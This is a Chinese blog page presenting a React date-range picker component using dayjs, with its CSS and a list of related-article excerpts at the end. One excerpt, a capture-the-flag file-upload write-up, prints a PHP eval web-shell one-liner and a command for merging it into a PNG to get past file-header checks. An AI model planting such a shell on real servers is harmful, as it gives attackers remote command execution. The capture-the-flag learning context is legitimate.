当前位置: 首页 > news >正文

react-日期选择器封装

文件

import { useMemo, useState, useEffect } from "react"
import dayjs, { Dayjs } from "dayjs"
import "dayjs/locale/zh-cn"
import "./App.css"
dayjs.locale("zh-cn")function SimpleCalendar() {// 当前时间对象const [month, setMonth] = useState(dayjs())// 当前日期const [currentDate, setCurrentDate] = useState('')// 结束日期const [endDate, setEndDate] = useState<any>('')// 时间段const [perioDate, setPerioDate] = useState<String[]>()// 获取一个月得天数const getDaysOfMonth = (year: number, month: number) => {// 每个月得第一天let firstDayOfMonth = dayjs(`${year}-${month}-1`)// 每个月最后一天let lastDayOfMonth = dayjs(`${year}-${month + 1}-1`).subtract(1, "day")// 开始补全第一天前的日期while (firstDayOfMonth.day() !== 0) {firstDayOfMonth = firstDayOfMonth.subtract(1, "day")}// 开始补全最后一天后的日期while (lastDayOfMonth.day() !== 6) {lastDayOfMonth = lastDayOfMonth.add(1, "day")}const days = []let tempDate = firstDayOfMonthwhile (tempDate.isBefore(lastDayOfMonth) || tempDate.isSame(lastDayOfMonth)) {days.push(tempDate)tempDate = tempDate.add(1, "day")}return days}const days = useMemo(() => {return getDaysOfMonth(month.year(), month.month() + 1)}, [month])// 标题const weekTitles = useMemo(() => {return [...Array(7)].map((_, weekInx) => {return dayjs().day(weekInx)})}, [])// 月份修改const onMonthSwitch = (action: number) => {setMonth((month) => {return month.add(action, "month")})}// 判断选中是否为本月天数const selectDays = (monthDay: Dayjs) => {const dayTiem = monthDay.format('YYYY-MM-DD')// 获取当前月份的第一天const firstDay = month.startOf("month").format('YYYY-MM-DD')return dayTiem >= firstDay ? true : false// // 获取当前月份的总天数// const totalDays = firstDay.daysInMonth()// // 生成包含本月所有日期的数组// const allDaysArray = Array.from({ length: totalDays }, (_, index) =>//   firstDay.add(index, "day").format("YYYY-MM-DD")// )// 选中日期// const selectedDate = monthDay.format("YYYY-MM-DD")// return allDaysArray.includes(selectedDate)}// 设置开始结束日期const timePeriod = (day: Dayjs) => {const dayTime = day.format('YYYY-MM-DD')// 开始日期if (!currentDate) {setCurrentDate(day.format('YYYY-MM-DD'))console.log(dayTime)// 有开始日期没有结束日期} else if (currentDate && !endDate) {// 开始和结束同一天if (dayTime == currentDate) {setEndDate(dayTime)}// 结束日期比开始日期小的时候if (dayTime < currentDate) {setCurrentDate('')return}setEndDate(day.format('YYYY-MM-DD'))const daysDiff = day.diff(currentDate, 'day')// 中间日期添加样式const middleDates = []for (let i = 1; i < daysDiff; i++) {const middleDate = dayjs(currentDate).add(i, 'day')middleDates.push(middleDate.format('YYYY-MM-DD'))}middleDates.push(dayTime)setPerioDate(middleDates)// 开始和结束日期都有后清空} else if (currentDate && endDate) {setCurrentDate('')setEndDate('')setPerioDate([])}}return (<div className="App"><div className="calendar"><div className="calendar-month"><div className="calendar-month-switch" onClick={() => onMonthSwitch(-1)}>{"<"}</div><div>{month.format("MMM YYYY")}</div><div className="calendar-month-switch" onClick={() => onMonthSwitch(1)}>{">"}</div></div><div className="calendar-title">{weekTitles.map((title, index) => {return (<div key={index} className="calendar-week">{title.format("dd")}</div>)})}</div><div className="calendar-content">{days.map((day: Dayjs, index) => {const dayTime = day.format('YYYY-MM-DD')const dynamicClassName = `calendar-day ${selectDays(day) ? 'thisMonth' : 'non'} ${dayTime == currentDate ? 'active' : ''} ${perioDate?.includes(dayTime) ? 'perioDate' : ''} `return (<div key={index} onClick={() => timePeriod(day)} className={dynamicClassName}>{day.format("DD")}</div>)})}</div></div><div>开始日期:{currentDate}</div><div>结束日期:{endDate}</div></div>)
}export default SimpleCalendar

样式

.calendar {display: flex;flex-direction: column;width: 350px;height: 400px;font-size: 16px;
}.calendar-month {display: flex;align-items: center;justify-content: space-between;width: 350px;height: 44px;Margin-bottom: 16px
}.calendar-month-switch {display: flex;align-items: center;justify-content: center;cursor: pointer;width: 44px;height: 44px;Background-color: white;
}
.calendar-month-switch:hover {background-color: #e6e6e6;
}.calendar-title {display: grid;grid-template-columns: repeat(7, 1fr);padding-bottom: 8px;
}.calendar-content {width: 100%;display: grid;grid-template-columns: repeat(7, 1fr);
}.calendar-week {display: flex;align-items: center;justify-content: center;
}.calendar-day {display: flex;align-items: center;justify-content: center;aspect-ratio: 1;width: 50px;height: 36px;cursor: pointer;
}
.calendar-day:hover{background-color: #e6e6e6;
}.non{cursor:not-allowed;
}.active{background-color:#FFFF76;
}.perioDate{background-color: #006EDC;
}

效果图

相关文章:

react-日期选择器封装

文件 import { useMemo, useState, useEffect } from "react" import dayjs, { Dayjs } from "dayjs" import "dayjs/locale/zh-cn" import "./App.css" dayjs.locale("zh-cn")function SimpleCalendar() {// 当前时间对象…...

【C++题解】1022. 百钱百鸡问题

欢迎关注本专栏《C从零基础到信奥赛入门级&#xff08;CSP-J&#xff09;》 问题&#xff1a;1022. 百钱百鸡问题 类型&#xff1a;嵌套穷举 题目描述&#xff1a; 用 100 元钱买 100 只鸡&#xff0c;公鸡&#xff0c;母鸡&#xff0c;小鸡都要有。 公鸡 5 元 1 只&#x…...

计算机毕业设计选题推荐-二手闲置交易系统-Java/Python项目实战

✨作者主页&#xff1a;IT毕设梦工厂✨ 个人简介&#xff1a;曾从事计算机专业培训教学&#xff0c;擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。 ☑文末获取源码☑ 精彩专栏推荐⬇⬇⬇ Java项目 Py…...

AI Agents(智能代理)教程:如何创建信息检索聊天机器人

AI 代理教程&#xff1a;如何创建信息检索聊天机器人 介绍 在本教程中&#xff0c;我们将指导您使用 AI 代理创建用于信息检索的复杂聊天机器人的过程。探索如何利用 AI 的强大功能构建能够高效地从各种来源检索数据的聊天机器人。 设置环境 我们的计划是使用 AI 代理&…...

Linux——管理本地用户和组(详细介绍了Linux中用户和组的概念及用法)

目录 一、用户和组概念 &#xff08;一&#xff09;、用户的概念 &#xff08;二&#xff09;、组的概念 补充组 主要组 二、获取超级用户访问权限 &#xff08;一&#xff09;、su 命令和su -命令 &#xff08; 二&#xff09;、sudo命令 三、管理本地用户账户 &…...

Flink-StarRocks详解:第三部分StarRocks分区分桶(第53天)

文章目录 前言2.3 数据分布2.3.1 数据分布概览2.3.1.1 常见的数据分布方式2.3.1.2 StarRocks的数据分布方式2.3.1.3 分区2.3.1.4 分桶 2.3.2 创建分区2.3.2.1 表达式分区2.3.2.1.1 时间函数表达式分区&#xff08;自v3.1&#xff09;2.3.2.1.2 列表达式分区&#xff08;自v3.1&…...

8G内存的Mac够用吗 ?苹果电脑内存满了怎么清理?可以有效地管理和优化你的Mac电脑内存,确保设备运行流畅

嘿&#xff0c;朋友们&#xff0c;让咱们聊聊怎么让我们的Mac小伙伴时刻保持巅峰状态吧&#xff01;想象一下&#xff0c;每一次点击、每一次滑动&#xff0c;都如同初见时那般丝滑顺畅&#xff0c;是不是超级心动&#xff1f;为了这份持久的畅快体验&#xff0c;我强烈推荐大家…...

【LabVIEW学习篇 - 10】:属性、调用节点

文章目录 属性节点调用节点使用方法一使用方法二案例 练习 属性节点 LabVIEW中的对象&#xff08;包括控件、VI、应用程序等&#xff09;都有自己的属性和方法。属性就是对象与生俱来的一些特性&#xff0c;可以理解成它是静态的&#xff0c;如控件的背景颜色&#xff0c;坐标…...

如何在数据埋点中发现和修复数据上报逻辑错误

如何发现和处理数据埋点中的逻辑错误 在大数据分析中,数据埋点是至关重要的一环。然而,当我们遇到数据上报逻辑错误时,该如何应对呢?本文将为你揭示解决这一棘手问题的有效方法。 目录 如何发现和处理数据埋点中的逻辑错误什么是数据上报逻辑错误?如何发现数据上报逻辑错误…...

程序员面试“八股文”:助力成长还是应试枷锁?

程序员面试“八股文”&#xff1a;助力成长还是应试枷锁&#xff1f; 引言 在当今快速迭代的IT行业中&#xff0c;程序员面试作为选拔人才的关键环节&#xff0c;其内容与形式一直备受关注。其中&#xff0c;“八股文”式面试题&#xff0c;作为一类标准化、模式化的问题集合…...

强化学习-alphazero 算法理论

一、算法简介 简单地说&#xff0c;AlphazeroMCTS SL(策略网络价值网络) Selfplay resnet。 其中MCTS指的是蒙特卡洛树搜索&#xff0c;主要用于记录所有访问过的棋盘状态的各种属性&#xff0c;包括该状态访问次数&#xff0c;对该状平均评价分数等。 SL指监督学习算法&…...

使用 Rough.js 创建动态水平条形图

本文由ScriptEcho平台提供技术支持 项目地址&#xff1a;传送门 使用 Rough.js 创建动态可视化网络图 应用场景 Rough.js 是一个 JavaScript 库&#xff0c;它允许开发人员使用毛边风格创建可视化效果。该库适用于各种应用程序&#xff0c;例如&#xff1a; 数据可视化地图…...

Python教程(十):面向对象编程(OOP)

目录 专栏列表前言一、面向对象编程概述1.1 类和对象1.2 继承1.3 多态1.4 封装 二、Python 中的类和对象2.1 定义类2.2 __init__ 函数解释2.3 创建对象 三、继承3.1 基本继承3.2 创建子类对象 四、多态五、封装六. 访问限制七、综合实例结语 专栏列表 Python教程&#xff08;一…...

CTFHUB-文件上传-文件头检查

开启题目 1.php内容&#xff1a; <?php eval($_POST[cmd]);?> 截屏截一个很小很小的图片&#xff0c;保存为 png 格式&#xff0c;把 1.png 和 1.php 放在同一文件夹&#xff0c;在此目录打开 cmd&#xff0c; 使用以下命令把 1.png 和 1.php 合成为图片马 copy 1.pn…...

c语言数组与指针,字符串与指针,指向函数的指针,malloca动态内存分配

数组与指针 数组: - 数组是一种数据结构&#xff0c;可以存储固定大小的一组相同类型的元素。在内存中&#xff0c;数组的元素是连续存储的。 指针: - 指针是一个变量&#xff0c;用于存储内存地址。指针本身占用内存&#xff0c;用来指向某个数据的地址。 数组与指针的关系…...

代码随想录算法训练营day30 | 452. 用最少数量的箭引爆气球 、435. 无重叠区间、763.划分字母区间

碎碎念&#xff1a;加油 参考&#xff1a;代码随想录 452. 用最少数量的箭引爆气球 题目链接 452. 用最少数量的箭引爆气球 思想 局部最优&#xff1a; 让重叠的气球尽量在一起&#xff0c;用一支弓箭射。 全局最优&#xff1a; 用最少数量的箭引爆气球。 首先对气球进行排…...

如何手动修复DLL丢失?2种手动修复dll文件方法

DLL&#xff08;动态链接库&#xff09;文件是Windows操作系统中非常重要的组成部分&#xff0c;它们包含了程序运行所需的代码和数据。然而&#xff0c;由于各种原因&#xff0c;如系统更新、软件卸载不当或病毒感染&#xff0c;DLL文件有时会丢失或损坏&#xff0c;导致程序无…...

Node.js(2)——压缩前端html

需求&#xff1a;把回车符&#xff08;\r&#xff09;和换行符&#xff08;\n&#xff09;去掉后&#xff0c;写入到新的html文件中 步骤&#xff1a; 读取源html文件内容正则替换字符串写入到新的html文件中 示例&#xff1a; 获取html文件中的内容并检查&#xff08;同时…...

堆的实现-向上调整算法-向下调整算法-堆排序-TopK问题 C语言

堆的实现与堆排序及TopK问题的C语言代码 下面是详细的堆实现&#xff0c;包括向上调整、向下调整算法&#xff0c;以及堆排序和解决TopK问题的完整C语言示例代码。 1. 堆的实现 首先&#xff0c;定义堆的数据结构&#xff1a; #include <stdio.h> #include <stdli…...

【C++BFS】1466. 重新规划路线

本文涉及知识点 CBFS算法 LeetCode1466. 重新规划路线 n 座城市&#xff0c;从 0 到 n-1 编号&#xff0c;其间共有 n-1 条路线。因此&#xff0c;要想在两座不同城市之间旅行只有唯一一条路线可供选择&#xff08;路线网形成一颗树&#xff09;。去年&#xff0c;交通运输部…...

服务器并发模型

服务器&#xff1a; 单循环服务器&#xff1a;服务器在同一时刻只能响应一个客户端的请求 并发服务器模型&#xff1a;服务器在同一时刻可以响应多个客户端的请求 UDP:无连接 TCP:有连接 1.多进程 资源空间消耗大 效率低 2.多线程 相…...

Chapter 23 数据可视化——地图

欢迎大家订阅【Python从入门到精通】专栏&#xff0c;一起探索Python的无限可能&#xff01; 文章目录 前言一、基础绘图二、视觉映射三、案例分析 前言 随着地理信息系统&#xff08;GIS&#xff09;技术的迅猛发展和大数据时代的到来&#xff0c;数据可视化已经成为分析和理…...

Linux笔记 --- 组合数据类型

结构体 简单的定义结构体的方法 struct student {char name;int age;float score; };//使用student模板创建两个结构体变量 struct student Jack,Rose; 结构体中可以存放除了函数以外的任何数据类型的数据&#xff0c;在创建结构体时student被称为结构体模板名称&#xff0c;…...

DaoCloud-Dockfile文件NGINX文件

Dockfile文件 安装依赖&#xff0c;打包&#xff0c;配置NGINX代理&#xff0c;最后把打完的包复制到服务器相应的文件夹下&#xff0c;构建镜像成功。 # syntax docker/dockerfile:experimental FROM xx.xx.xx.xx/public/node:16.14.2 as builder# LABEL maintainer"e…...

耳机行业中MIC ENC

0 Preface/Foreword ENC&#xff1a; Environment Noise Cancellation&#xff0c;环境降噪&#xff0c;主要指在通话过程中&#xff0c;戴着ENC通话降噪耳机的使用者&#xff0c;即使在嘈杂的环境&#xff0c;比如在嘈杂的街区&#xff0c;开着窗运行的汽车上&#xff0c;说话…...

python-自动化办公-Excel-Openpyxl

Python处理Excel数据之Openpyxl 1.1 Openpyxl库的安装使用 openpyxl模块是一个读写Excel 2010文档的 Python 库&#xff0c;如果要处理更早格式的Excel文档&#xff0c;需要用到额外的库&#xff0c;openpyxl是一个比较综合的工具&#xff0c;能够同时读取和修改Excel文档。其…...

图形编辑器基于Paper.js教程10:导入导出svg,导入导出json数据

深入了解Paper.js&#xff1a;实现SVG和JSON的导入导出功能 Paper.js是一款强大的矢量绘图JavaScript库&#xff0c;非常适合用于复杂的图形处理和交互式网页应用。本文将详细介绍如何在Paper.js项目中实现SVG和JSON格式的导入导出功能&#xff0c;这对于开发动态图形编辑器等…...

[STM32][Bootloader][教程]STM32 HAL库 Bootloader开发和测试教程

0. 项目移植 对于不想知道其执行过程的朋友来说&#xff0c;可以直接移植&#xff0c;我的板子是STM32F411CER6, 512K M4内核 项目地址&#xff1a; Bootloader&#xff08;可以自己写标志位用于自测&#xff0c;项目中这部分代码已经被注释&#xff0c;可以打开自行测试&…...

如何手写一个SpringBoot框架

你好&#xff0c;我是柳岸花开。 在这篇文章中&#xff0c;我们将手写模拟SpringBoot的核心流程&#xff0c;让大家能够以一种简单的方式了解SpringBoot的大概工作原理。 项目结构 我们创建一个工程&#xff0c;包含两个模块&#xff1a; springboot模块&#xff0c;表示Spring…...

vite解决前端跨域步骤

Vite 解决跨域问题的原理主要是通过其内置的开发服务器功能实现的&#xff0c;具体来说&#xff0c;是通过 HTTP 代理&#xff08;HTTP Proxy&#xff09;机制。在开发环境中&#xff0c;Vite 服务器可以配置为一个代理服务器&#xff0c;将前端应用发出的请求转发到实际的后端…...

wordpress 插件 浮动小人/企业培训机构

一&#xff1a;重启xenserver&#xff0c;待启动界面进入到boot时&#xff0c;键入menu.c32二&#xff1a;待出现以下界面是&#xff0c;在5秒内按下tab键&#xff1a;三&#xff1a;按下tab建后&#xff0c;出现启动参数&#xff0c;然后加入single参数&#xff1a;回车&#…...

浙江华临建设集团有限公司网站/seo行业网

天龙八部(武侠世界)的源码很可能是天龙八部代码流出后改写的&#xff0c;因为在看了代码中可以找到一些证据&#xff0c;整个客户端分为&#xff1a;一个是编辑器&#xff0c;一个是客户端&#xff0c;采用OGREcegui自写的简单的物理碰撞检测FMOD自写的网络库。 服务器端代码目…...

wordpress页面加载时间代码/网站关键词优化wang

最近我不得不在 Laravel 7 实现 通用唯一识别码 &#xff08; UUIDs &#xff09;&#xff0c;并遇到一些问题。我希望这帖子可为其他正在做相同事情的人解惑。 使用 UUIDs 的高级理由 A) 它们从你的 统一资源定位符 移除编号的 身份识别号 &#xff0c;故用户不能看到你的应…...

手机游戏排行榜2020前十名/百度seo如何优化

http://www.cnblogs.com/85538649/archive/2011/12/05/2276901.html转载于:https://blog.51cto.com/5828666/1622841...

wordpress网站的CDN设置/百度代理公司

jQuery, MooTools, Prototype 等优秀的 JavaScript 框架拥有各种强大的功能&#xff0c;包括绘制 Web 图表&#xff0c;使用这些框架以及相应插件&#xff0c;我们可以非常轻松地实现曲线图&#xff0c;圆饼图&#xff0c;柱状图等 Web 图表的绘制&#xff0c;而不必象以往那样…...

买个域名自己做网站吗/苏州网站建设公司排名

近期看一个音频传输代码时&#xff0c;对方采用了LinkedBlockingQueue为生产者、消费者模式&#xff0c;来支撑读写线程。 个人感觉非常不错&#xff0c;因此也对这种方式进行总结&#xff0c;并梳理了一个基本的功能框架备用。主要两点&#xff1a; 1、当对queue采用take操作…...